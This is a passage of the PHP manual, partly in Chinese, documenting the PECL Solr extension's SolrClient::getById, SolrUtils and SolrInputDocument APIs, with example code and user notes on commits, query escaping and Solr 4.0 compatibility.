                                    [0] => 1
                                )

                            [inStock] => Array
                                (
                                    [0] =>
                                )

                            [store] => Array
                                (
                                    [0] => 45.18014,-93.87741
                                )

                            [manufacturedate_dt] => 2005-08-01T16:30:25Z
                            [_version_] => 1510294336458194944
                        )

                    [3] => SolrObject Object
                        (
                            [id] => MA147LL/A
                            [name] => Array
                                (
                                    [0] => Apple 60 GB iPod with Video Playback Black
                                )

                            [manu] => Array
                                (
                                    [0] => Apple Computer Inc.
                                )

                            [manu_id_s] => apple
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => music
                                )

                            [features] => Array
                                (
                                    [0] => iTunes, Podcasts, Audiobooks
                                    [1] => Stores up to 15,000 songs, 25,000 photos, or 150 hours of video
                                    [2] => 2.5-inch, 320x240 color TFT LCD display with LED backlight
                                    [3] => Up to 20 hours of battery life
                                    [4] => Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video
                                    [5] => Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication
                                )

                            [includes] => Array
                                (
                                    [0] => earbud headphones, USB cable
                                )

                            [weight] => Array
                                (
                                    [0] => 5.5
                                )

                            [price] => Array
                                (
                                    [0] => 399
                                )

                            [popularity] => Array
                                (
                                    [0] => 10
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 37.7752,-100.0232
                                )

                            [manufacturedate_dt] => 2005-10-12T08:00:00Z
                            [_version_] => 1510294336562003968
                        )

                )

        )

)

Example #14 Solr Real Time Get (RTG) example SolrClient::getById()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getById('GB18030TEST');
print_r($response->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [doc] => SolrObject Object
        (
            [id] => GB18030TEST
            [name] => Array
                (
                    [0] => Test with some GB18030 encoded characters
                )

            [features] => Array
                (
                    [0] => No accents here
                    [1] => 这是一个功能
                    [2] => This is a feature (translated)
                    [3] => 这份文件是很有光泽
                    [4] => This document is very shiny (translated)
                )

            [price] => Array
                (
                    [0] => 0
                )

            [inStock] => Array
                (
                    [0] => 1
                )

            [_version_] => 1510294336239042560
        )

)

User Contributed Notes

tomanr1 at wp dot pl 17-Dec-2013 10:22
In case someone would like to use this solrClient with solr v.4.0 and higher i've prepared my own commit function

class solr {
        public function delete($query ) {
                $this->_client->deleteByQuery($query);
                $this->commit();
        }

        public function commit() {
                $solrConfig= // array with solr host, port, path to collection (/solr/my_collection),
                $solrAddress = $solrConfig['hostname'] . ':' . $solrConfig['port'] . $solrConfig['path'];
                $output = array();
                $response = exec('curl ' . $solrAddress . '/update?commit=true', $output);
                return $output;
        }
}
tsengmeat at gmail dot com 12-Oct-2013 02:24
As of solr 4.0 the waitFlush parameter is removed.
If you're using the solr 4.0 or later version (and you have to),when you do this
<?php $client->commit(); ?>
you will get a solr error like this:
"Unknown commit parameter 'waitFlush'."

If you insist on using this PHP Solr extension and solr 4.0 or later version,you can edit the extension's source (version 1.0.2) php_solr_client.c.
for the SolrClient's optimize method:
at line 1490 :
  zend_bool waitFlush = 1, waitSearcher = 1;
  after edited:
  zend_bool waitSearcher = 1;
at line 1493:
  char *waitFlushValue, *waitSearcherValue;
  after edited:
  zend_bool waitSearcher = 1;
at line 1502:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sbb", &maxSegments, &maxSegmentsLen, &waitFlush, &waitSearcher) == FAILURE) {
  after editd:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sb", &maxSegments, &maxSegmentsLen, &waitSearcher) == FAILURE) {

remove the line 1509 and 1515.

And do the same edit for the SolrClient's commit method at line 1561,1564,1573 and remove the line 1580,1586

The final step, compile the code and install it.
Good luck!
cliff 15-Jun-2012 09:15
As of solr 4.0 the waitFlush parameter is removed.

Source
http://wiki.apache.org/solr/UpdateXmlMessages

$client->commit() throws an error
[SolrClientException]
  Unsuccessful update request. Response Code 400. <?xml version="1.0" encoding="UTF-8"?>
  <response>

  <lst name="responseHeader">
    <int name="status">400</int>
    <int name="QTime">1</int>
  </lst>
  <lst name="error">
    <str name="msg">Unknown commit parameter 'waitFlush'</str>
    <int name="code">400</int>
  </lst>
  </response>
khe77o at gmail dot youknowwhat 15-Mar-2012 05:53
The documentation in the example section doesn't mention that you need to commit once you've added doc(s).

So in short it would be something like:
$client = new SolrClient(array('hostname' => '127.0.0.1', 'port' => 8080));
$doc = new SolrInputDocument();
$doc->addField('id', 12345);
$doc->addField('name', 'some person');

$result = $client->addDocument($doc);

/* you are not done yet, you need to commit */
$client->commit();

Now if you query you should see your doc =]
jschwehn+php at IGNOrMEgmail dot com 29-Oct-2010 06:05
If you are using Solr's multicore feature, you can access the cores via the path parameter in the $options array.
E.g.
<?php
  $options = array(...., 'path' => 'solr/core0', ...);
?>
jschwehn+php.a.t.gmail.com 19-Oct-2010 05:51
If you like to access a different RequestHander than '/select' you can change it via http://php.net/manual/en/solrclient.setservlet.php
bjorn at bjorn-erik dot biz 19-Sep-2010 12:47
If you're testing these examples on a fresh install of solr, you will need to run a commit statement after you add documents to receive results when searching.

For example, add this:
<?php $client->commit(); ?>

to example 3 to be able to get any results when doing a search using example 5.
trickito at yahoo 16-Nov-2009 09:08
if your path to solr is something other than: /solr

you should add this to the bootstrap file above:

define('SOLR_SERVER_PATH', 'my-solr-url');

and then a corresponding entry to the options array in your client php code like:

'path'     => SOLR_SERVER_PATH

I couldn't find this is in the documentation and had to peek at the source to figure it out.


The SolrUtils class

(PECL solr >= 0.9.2)

简介

Contains utility methods for retrieving the current extension version and preparing query phrases.

Also contains method for escaping query strings and parsing XML responses.

类摘要

abstract class SolrUtils {
/* 方法 */
public static digestXmlResponse(string $xmlresponse, int $parse_mode = 0): SolrObject
public static escapeQueryChars(string $str): string|false
public static getSolrVersion(): string
public static queryPhrase(string $str): string
}

Table of Contents

  • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
  • SolrUtils::escapeQueryChars — Escapes a lucene query string
  • SolrUtils::getSolrVersion — Returns the current version of the Solr extension
  • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

User Contributed Notes

There are no user contributed notes for this page.


Parses an response XML string into a SolrObject

  • ? SolrUtils
  • SolrUtils::escapeQueryChars ?
  • PHP Manual
  • SolrUtils
  • Parses an response XML string into a SolrObject

SolrUtils::digestXmlResponse

(PECL solr >= 0.9.2)

SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject

说明

public static SolrUtils::digestXmlResponse(string $xmlresponse, int $parse_mode = 0): SolrObject

This method parses an response XML string from the Apache Solr server into a SolrObject. It throws a SolrException if there was an error.

参数

xmlresponse

The XML response string from the Solr server.

parse_mode

Use SolrResponse::PARSE_SOLR_OBJ or SolrResponse::PARSE_SOLR_DOC

返回值

Returns the SolrObject representing the XML response.

If the parse_mode parameter is set to SolrResponse::PARSE_SOLR_OBJ Solr documents will be parses as SolrObject instances.

If it is set to SolrResponse::PARSE_SOLR_DOC, they will be parsed as SolrDocument instances.

User Contributed Notes

There are no user contributed notes for this page.


Escapes a lucene query string

  • ? SolrUtils::digestXmlResponse
  • SolrUtils::getSolrVersion ?
  • PHP Manual
  • SolrUtils
  • Escapes a lucene query string

SolrUtils::escapeQueryChars

(PECL solr >= 0.9.2)

SolrUtils::escapeQueryChars — Escapes a lucene query string

说明

public static SolrUtils::escapeQueryChars(string $str): string|false

Lucene supports escaping special characters that are part of the query syntax.

The current list special characters are:

+ - && || ! ( ) { } [ ] ^ " ~ * ? : \ /

These characters are part of the query syntax and must be escaped

参数

str

This is the query string to be escaped.

返回值

Returns the escaped string 或者在失败时返回 false.

User Contributed Notes

Ian 30-Jul-2013 08:51
A way of doing that with a regular expression:

<?php
// Lucene characters that need escaping with \ are + - && || ! ( ) { } [ ] ^ " ~ * ? : \
$luceneReservedCharacters = preg_quote('+-&|!(){}[]^"~*?:\\');
$query = preg_replace_callback(
    '/([' . $luceneReservedCharacters . '])/',
    function($matches) {
        return '\\' . $matches[0];
    },
    $query);
?>


Returns the current version of the Solr extension

  • ? SolrUtils::escapeQueryChars
  • SolrUtils::queryPhrase ?
  • PHP Manual
  • SolrUtils
  • Returns the current version of the Solr extension

SolrUtils::getSolrVersion

(PECL solr >= 0.9.2)

SolrUtils::getSolrVersion — Returns the current version of the Solr extension

说明

public static SolrUtils::getSolrVersion(): string

Returns the current Solr version.

参数

此函数没有参数。

返回值

The current version of the Apache Solr extension.

User Contributed Notes

There are no user contributed notes for this page.


Prepares a phrase from an unescaped lucene string

  • ? SolrUtils::getSolrVersion
  • SolrInputDocument ?
  • PHP Manual
  • SolrUtils
  • Prepares a phrase from an unescaped lucene string

SolrUtils::queryPhrase

(PECL solr >= 0.9.2)

SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

说明

public static SolrUtils::queryPhrase(string $str): string

Prepares a phrase from an unescaped lucene string.

参数

str

The lucene phrase.

返回值

Returns the phrase contained in double quotes.

User Contributed Notes

quackfish at gmail dot com 08-Nov-2015 01:05
You need to be careful allowing users to use raw queries if you index sensitive information. Cross domain search timing attacks can be used to extract information from an index [1] if your form does not have XSRF protection.

If you allow raw queries it can also allow users to DOS your application by inputting slow queries.

[1] https://www.idontplaydarts.com/2015/09/cross-domain-timing-attacks-against-lucene/
daniel dot allen at commercialtrucktrader dot com 03-Feb-2014 04:04
Doing some tests it would appear that this function also sanitizes input(testing on version above 1.0). And the term "phrase" is not the same as a complete query like "FIELD:THE RIGHT HALF AFTER THE : IS THE PHRASE."

So if you want to search SOME_FIELD:some value with an escape character like +, then you would have to write the code out:

$query  = 'SOME_FIELD:' . SolrUtils::queryPhrase('some value with an escape character like +');

That would properly escape it like:

some value with an escape character like \+

FYI.


The SolrInputDocument class

(PECL solr >= 0.9.2)

简介

This class represents a Solr document that is about to be submitted to the Solr index.

类摘要

final class SolrInputDocument {
/* 常量 */
const int SORT_DEFAULT = 1;
const int SORT_ASC = 1;
const int SORT_DESC = 2;
const int SORT_FIELD_NAME = 1;
const int SORT_FIELD_VALUE_COUNT = 2;
const int SORT_FIELD_BOOST_VALUE = 4;
/* 方法 */
public __construct()
public addChildDocument(SolrInputDocument $child): void
public addChildDocuments(array &$docs): void
public addField(string $fieldName, string $fieldValue, float $fieldBoostValue = 0.0): bool
public clear(): bool
public __clone(): void
public deleteField(string $fieldName): bool
public fieldExists(string $fieldName): bool
public getBoost(): float
public getChildDocuments(): array
public getChildDocumentsCount(): int
public getField(string $fieldName): SolrDocumentField
public getFieldBoost(string $fieldName): float
public getFieldCount(): int|false
public getFieldNames(): array
public hasChildDocuments(): bool
public merge(SolrInputDocument $sourceDoc, bool $overwrite = true): bool
public reset(): bool
public setBoost(float $documentBoostValue): bool
public setFieldBoost(string $fieldName, float $fieldBoostValue): bool
public sort(int $sortOrderBy, int $sortDirection = SolrInputDocument::SORT_ASC): bool
public toArray(): array
public __destruct()
}

预定义常量

SolrInputDocument Class Constants

SolrInputDocument::SORT_DEFAULT

Sorts the fields in ascending order.

SolrInputDocument::SORT_ASC

Sorts the fields in ascending order.

SolrInputDocument::SORT_DESC

Sorts the fields in descending order.

SolrInputDocument::SORT_FIELD_NAME

Sorts the fields by name

SolrInputDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values.

SolrInputDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by boost value.

Table of Contents

  • SolrInputDocument::addChildDocument — Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments — Adds an array of child documents
  • SolrInputDocument::addField — Adds a field to the document
  • SolrInputDocument::clear — Resets the input document
  • SolrInputDocument::__clone — Creates a copy of a SolrDocument
  • SolrInputDocument::__construct — Constructor
  • SolrInputDocument::deleteField — Removes a field from the document
  • SolrInputDocument::__destruct — Destructor
  • SolrInputDocument::fieldExists — Checks if a field exists
  • SolrInputDocument::getBoost — Retrieves the current boost value for the document
  • SolrInputDocument::getChildDocuments — Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount — Returns the number of child documents
  • SolrInputDocument::getField — Retrieves a field by name
  • SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field
  • SolrInputDocument::getFieldCount — Returns the number of fields in the document
  • SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document
  • SolrInputDocument::hasChildDocuments — Returns true if the document has any child documents
  • SolrInputDocument::merge — Merges one input document into another
  • SolrInputDocument::reset — 别名 SolrInputDocument::clear
  • SolrInputDocument::setBoost — Sets the boost value for this document
  • SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field
  • SolrInputDocument::sort — Sorts the fields within the document
  • SolrInputDocument::toArray — Returns an array representation of the input document

User Contributed Notes

There are no user contributed notes for this page.


Adds a child document for block indexing

  • ? SolrInputDocument
  • SolrInputDocument::addChildDocuments ?
  • PHP Manual
  • SolrInputDocument
  • Adds a child document for block indexing

SolrInputDocument::addChildDocument

(PECL solr >= 2.3.0)

SolrInputDocument::addChildDocument — Adds a child document for block indexing

说明

public SolrInputDocument::addChildDocument(SolrInputDocument $child): void

Adds a child document to construct a document block with nested documents.

参数

child

A SolrInputDocument object.

返回值

没有返回值。

错误／异常

Throws SolrIllegalArgumentException on failure.

Throws SolrException on internal failure.

示例

Example #1 SolrInputDocument::addChildDocument() example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_STORE_PATH,
);

$client = new SolrClient($options);

$product = new SolrInputDocument();

$product->addField('id', 'P-BLACK');
$product->addField('cat', 'tshirt');
$product->addField('cat', 'polo');
$product->addField('content_type', 'product');

$small = new SolrInputDocument();
$small->addField('id', 'TS-BLK-S');
$small->addField('content_type', 'sku');
$small->addField('size', 'S');
$small->addField('inventory', 100);

$medium = new SolrInputDocument();
$medium->addField('id', 'TS-BLK-M');
$medium->addField('content_type', 'sku');
$medium->addField('size', 'M');
$medium->addField('inventory', 200);

$large = new SolrInputDocument();
$large->addField('id', 'TS-BLK-L');
$large->addField('content_type', 'sku');
$large->addField('size', 'L');
$large->addField('inventory', 300);

// add child documents
$product->addChildDocument($small);
$product->addChildDocument($medium);
$product->addChildDocument($large);

// add product document block to the index
$updateResponse = $client->addDocument(
$product,
true, // overwrite if the document exists
10000 // commit within 10 seconds
);

print_r($updateResponse->getResponse());

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 5
        )
)

参见

  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Adds an array of child documents

  • ? SolrInputDocument::addChildDocument
  • SolrInputDocument::addField ?
  • PHP Manual
  • SolrInputDocument
  • Adds an array of child documents

SolrInputDocument::addChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::addChildDocuments — Adds an array of child documents

说明

public SolrInputDocument::addChildDocuments(array &$docs): void

Adds an array of child documents to the current input document.

参数

docs

An array of SolrInputDocument objects.

返回值

没有返回值。

错误／异常

Throws SolrIllegalArgumentException on failure.

Throws SolrException on internal failure.

示例

Example #1 SolrInputDocument::addChildDocuments() example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_STORE_PATH,
);

$client = new SolrClient($options);

$product = new SolrInputDocument();

$product->addField('id', 'P-BLACK');
$product->addField('cat', 'tshirt');
$product->addField('cat', 'polo');
$product->addField('content_type', 'product');

$small = new SolrInputDocument();
$small->addField('id', 'TS-BLK-S');
$small->addField('content_type', 'sku');
$small->addField('size', 'S');
$small->addField('inventory', 100);

$medium = new SolrInputDocument();
$medium->addField('id', 'TS-BLK-M');
$medium->addField('content_type', 'sku');
$medium->addField('size', 'M');
$medium->addField('inventory', 200);

$large = new SolrInputDocument();
$large->addField('id', 'TS-BLK-L');
$large->addField('content_type', 'sku');
$large->addField('size', 'L');
$large->addField('inventory', 300);

// add child documents
$skus = [$small, $medium, $large];
$product->addChildDocuments($skus);

// add the product document block to the index
$updateResponse = $client->addDocument(
$product,
true, // overwrite if the document exists
10000 // commit within 10 seconds
);

print_r($updateResponse->getResponse());

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 5
        )
)

参见

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to the document

  • ? SolrInputDocument::addChildDocuments
  • SolrInputDocument::clear ?
  • PHP Manual
  • SolrInputDocument
  • Adds a field to the document

SolrInputDocument::addField

(PECL solr >= 0.9.2)

SolrInputDocument::addField — Adds a field to the document

说明

public SolrInputDocument::addField(string $fieldName, string $fieldValue, float $fieldBoostValue = 0.0): bool

For multi-value fields, if a valid boost value is specified, the specified value will be multiplied by the current boost value for this field.

参数

fieldName

The name of the field

fieldValue

The value for the field.

fieldBoostValue

The index time boost for the field. Though this cannot be negative, you can still pass values less than 1.0 but they must be greater than zero.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

prabhatkr at gmail dot com 20-Apr-2015 01:43
The method from second example here http://php.net/manual/en/solr.examples.php fails to add document, with following error.
-----
[qtp853119666-20] WARN  org.apache.solr.handler.loader.XMLLoader  - XML element <add> has invalid XML attr: allowDups
-----
This is possibly a solr bug or pecl issue.
Any help here please?


Resets the input document

  • ? SolrInputDocument::addField
  • SolrInputDocument::__clone ?
  • PHP Manual
  • SolrInputDocument
  • Resets the input document

SolrInputDocument::clear

(PECL solr >= 0.9.2)

SolrInputDocument::clear — Resets the input document

说明

public SolrInputDocument::clear(): bool

Resets the document by dropping all the fields and resets the document boost to zero.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of a SolrDocument

  • ? SolrInputDocument::clear
  • SolrInputDocument::__construct ?
  • PHP Manual
  • SolrInputDocument
  • Creates a copy of a SolrDocument

SolrInputDocument::__clone

(PECL solr >= 0.9.2)

SolrInputDocument::__clone — Creates a copy of a SolrDocument

说明

public SolrInputDocument::__clone(): void

Should not be called directly. It is used to create a deep copy of a SolrInputDocument.

参数

此函数没有参数。

返回值

Creates a new SolrInputDocument instance.

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrInputDocument::__clone
  • SolrInputDocument::deleteField ?
  • PHP Manual
  • SolrInputDocument
  • Constructor

SolrInputDocument::__construct

(PECL solr >= 0.9.2)

SolrInputDocument::__construct — Constructor

说明

public SolrInputDocument::__construct()

Constructor.

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the document

  • ? SolrInputDocument::__construct
  • SolrInputDocument::__destruct ?
  • PHP Manual
  • SolrInputDocument
  • Removes a field from the document

SolrInputDocument::deleteField

(PECL solr >= 0.9.2)

SolrInputDocument::deleteField — Removes a field from the document

说明

public SolrInputDocument::deleteField(string $fieldName): bool

Removes a field from the document.

参数

fieldName

The name of the field.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrInputDocument::deleteField
  • SolrInputDocument::fieldExists ?
  • PHP Manual
  • SolrInputDocument
  • Destructor

SolrInputDocument::__destruct

(PECL solr >= 0.9.2)

SolrInputDocument::__destruct — Destructor

说明

public SolrInputDocument::__destruct()

Destructor

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists

  • ? SolrInputDocument::__destruct
  • SolrInputDocument::getBoost ?
  • PHP Manual
  • SolrInputDocument
  • Checks if a field exists

SolrInputDocument::fieldExists

(PECL solr >= 0.9.2)

SolrInputDocument::fieldExists — Checks if a field exists

说明

public SolrInputDocument::fieldExists(string $fieldName): bool

Checks if a field exists

参数

fieldName

Name of the field.

返回值

Returns true if the field was found and false if it was not found.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current boost value for the document

  • ? SolrInputDocument::fieldExists
  • SolrInputDocument::getChildDocuments ?
  • PHP Manual
  • SolrInputDocument
  • Retrieves the current boost value for the document

SolrInputDocument::getBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getBoost — Retrieves the current boost value for the document

说明

public SolrInputDocument::getBoost(): float

Retrieves the current boost value for the document.

参数

此函数没有参数。

返回值

Returns the boost value on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of child documents (SolrInputDocument)

  • ? SolrInputDocument::getBoost
  • SolrInputDocument::getChildDocumentsCount ?
  • PHP Manual
  • SolrInputDocument
  • Returns an array of child documents (SolrInputDocument)

SolrInputDocument::getChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::getChildDocuments — Returns an array of child documents (SolrInputDocument)

说明

public SolrInputDocument::getChildDocuments(): array

Returns an array of child documents (SolrInputDocument)

参数

此函数没有参数。

返回值

参见

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of child documents

  • ? SolrInputDocument::getChildDocuments
  • SolrInputDocument::getField ?
  • PHP Manual
  • SolrInputDocument
  • Returns the number of child documents

SolrInputDocument::getChildDocumentsCount

(PECL solr >= 2.3.0)

SolrInputDocument::getChildDocumentsCount — Returns the number of child documents

说明

public SolrInputDocument::getChildDocumentsCount(): int

Returns the number of child documents

参数

此函数没有参数。

返回值

参见

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::hasChildDocuments() - Returns true if the document has any child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a field by name

  • ? SolrInputDocument::getChildDocumentsCount
  • SolrInputDocument::getFieldBoost ?
  • PHP Manual
  • SolrInputDocument
  • Retrieves a field by name

SolrInputDocument::getField

(PECL solr >= 0.9.2)

SolrInputDocument::getField — Retrieves a field by name

说明

public SolrInputDocument::getField(string $fieldName): SolrDocumentField

Retrieves a field in the document.

参数

fieldName

The name of the field.

返回值

Returns a SolrDocumentField object on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the boost value for a particular field

  • ? SolrInputDocument::getField
  • SolrInputDocument::getFieldCount ?
  • PHP Manual
  • SolrInputDocument
  • Retrieves the boost value for a particular field

SolrInputDocument::getFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field

说明

public SolrInputDocument::getFieldBoost(string $fieldName): float

Retrieves the boost value for a particular field.

参数

fieldName

The name of the field.

返回值

Returns the boost value for the field or false if there was an error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of fields in the document

  • ? SolrInputDocument::getFieldBoost
  • SolrInputDocument::getFieldNames ?
  • PHP Manual
  • SolrInputDocument
  • Returns the number of fields in the document

SolrInputDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldCount — Returns the number of fields in the document

说明

public SolrInputDocument::getFieldCount(): int|false

Returns the number of fields in the document.

参数

此函数没有参数。

返回值

Returns an integer on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array containing all the fields in the document

  • ? SolrInputDocument::getFieldCount
  • SolrInputDocument::hasChildDocuments ?
  • PHP Manual
  • SolrInputDocument
  • Returns an array containing all the fields in the document

SolrInputDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document

说明

public SolrInputDocument::getFieldNames(): array

Returns an array containing all the fields in the document.

参数

此函数没有参数。

返回值

Returns an array on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the document has any child documents

  • ? SolrInputDocument::getFieldNames
  • SolrInputDocument::merge ?
  • PHP Manual
  • SolrInputDocument
  • Returns true if the document has any child documents

SolrInputDocument::hasChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::hasChildDocuments — Returns true if the document has any child documents

说明

public SolrInputDocument::hasChildDocuments(): bool

Checks whether the document has any child documents

参数

此函数没有参数。

返回值

参见

  • SolrInputDocument::addChildDocument() - Adds a child document for block indexing
  • SolrInputDocument::addChildDocuments() - Adds an array of child documents
  • SolrInputDocument::getChildDocuments() - Returns an array of child documents (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Merges one input document into another

  • ? SolrInputDocument::hasChildDocuments
  • SolrInputDocument::reset ?
  • PHP Manual
  • SolrInputDocument
  • Merges one input document into another

SolrInputDocument::merge

(PECL solr >= 0.9.2)

SolrInputDocument::merge — Merges one input document into another

说明

public SolrInputDocument::merge(SolrInputDocument $sourceDoc, bool $overwrite = true): bool

Merges one input document into another.

参数

sourceDoc

The source document.

overwrite

If this is true it will replace matching fields in the destination document.

返回值

成功时返回 true， 或者在失败时返回 false。 In the future, this will be modified to return the number of fields in the new document.

User Contributed Notes

There are no user contributed notes for this page.


别名 SolrInputDocument::clear

  • ? SolrInputDocument::merge
  • SolrInputDocument::setBoost ?
  • PHP Manual
  • SolrInputDocument
  • 别名 SolrInputDocument::clear

SolrInputDocument::reset

(PECL solr >= 0.9.2)

SolrInputDocument::reset — 别名 SolrInputDocument::clear()

说明

public SolrInputDocument::reset(): bool

This is an alias of SolrInputDocument::clear

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets the boost value for this document

  • ? SolrInputDocument::reset
  • SolrInputDocument::setFieldBoost ?
  • PHP Manual
  • SolrInputDocument
  • Sets the boost value for this document

SolrInputDocument::setBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setBoost — Sets the boost value for this document

说明

public SolrInputDocument::setBoost(float $documentBoostValue): bool

Sets the boost value for this document.

参数

documentBoostValue

The index-time boost value for this document.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets the index-time boost value for a field

  • ? SolrInputDocument::setBoost
  • SolrInputDocument::sort ?
  • PHP Manual
  • SolrInputDocument
  • Sets the index-time boost value for a field

SolrInputDocument::setFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field

说明

public SolrInputDocument::setFieldBoost(string $fieldName, float $fieldBoostValue): bool

Sets the index-time boost value for a field. This replaces the current boost value for this field.

参数

fieldName

The name of the field.

fieldBoostValue

The index time boost value.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sorts the fields within the document

  • ? SolrInputDocument::setFieldBoost
  • SolrInputDocument::toArray ?
  • PHP Manual
  • SolrInputDocument
  • Sorts the fields within the document

SolrInputDocument::sort

(PECL solr >= 0.9.2)

SolrInputDocument::sort — Sorts the fields within the document

说明

public SolrInputDocument::sort(int $sortOrderBy, int $sortDirection = SolrInputDocument::SORT_ASC): bool

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The $order_by parameter must be one of :

   * SolrInputDocument::SORT_FIELD_NAME
   * SolrInputDocument::SORT_FIELD_BOOST_VALUE
   * SolrInputDocument::SORT_FIELD_VALUE_COUNT

   The sort direction can be one of :

   * SolrInputDocument::SORT_DEFAULT
   * SolrInputDocument::SORT_ASC
   * SolrInputDocument::SORT_DESC

参数

sortOrderBy

The sort criteria

sortDirection

The sort direction

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representation of the input document

  • ? SolrInputDocument::sort
  • SolrDocument ?
  • PHP Manual
  • SolrInputDocument
  • Returns an array representation of the input document

SolrInputDocument::toArray

(PECL solr >= 0.9.2)

SolrInputDocument::toArray — Returns an array representation of the input document

说明

public SolrInputDocument::toArray(): array

Returns an array representation of the input document.

参数

此函数没有参数。

返回值

Returns an array containing the fields. It returns false on failure.

User Contributed Notes

There are no user contributed notes for this page.


The SolrDocument class

(PECL solr >= 0.9.2)

简介

Represents a Solr document retrieved from a query response.

类摘要

final class SolrDocument implements ArrayAccess, Iterator, Serializable {
/* 常量 */
const int SORT_DEFAULT = 1;
const int SORT_ASC = 1;
const int SORT_DESC = 2;
const int SORT_FIELD_NAME = 1;
const int SORT_FIELD_VALUE_COUNT = 2;
const int SORT_FIELD_BOOST_VALUE = 4;
/* 方法 */
public __construct()
public addField(string $fieldName, string $fieldValue): bool
public clear(): bool
public __clone(): void
public current(): SolrDocumentField
public deleteField(string $fieldName): bool
public fieldExists(string $fieldName): bool
public __get(string $fieldName): SolrDocumentField
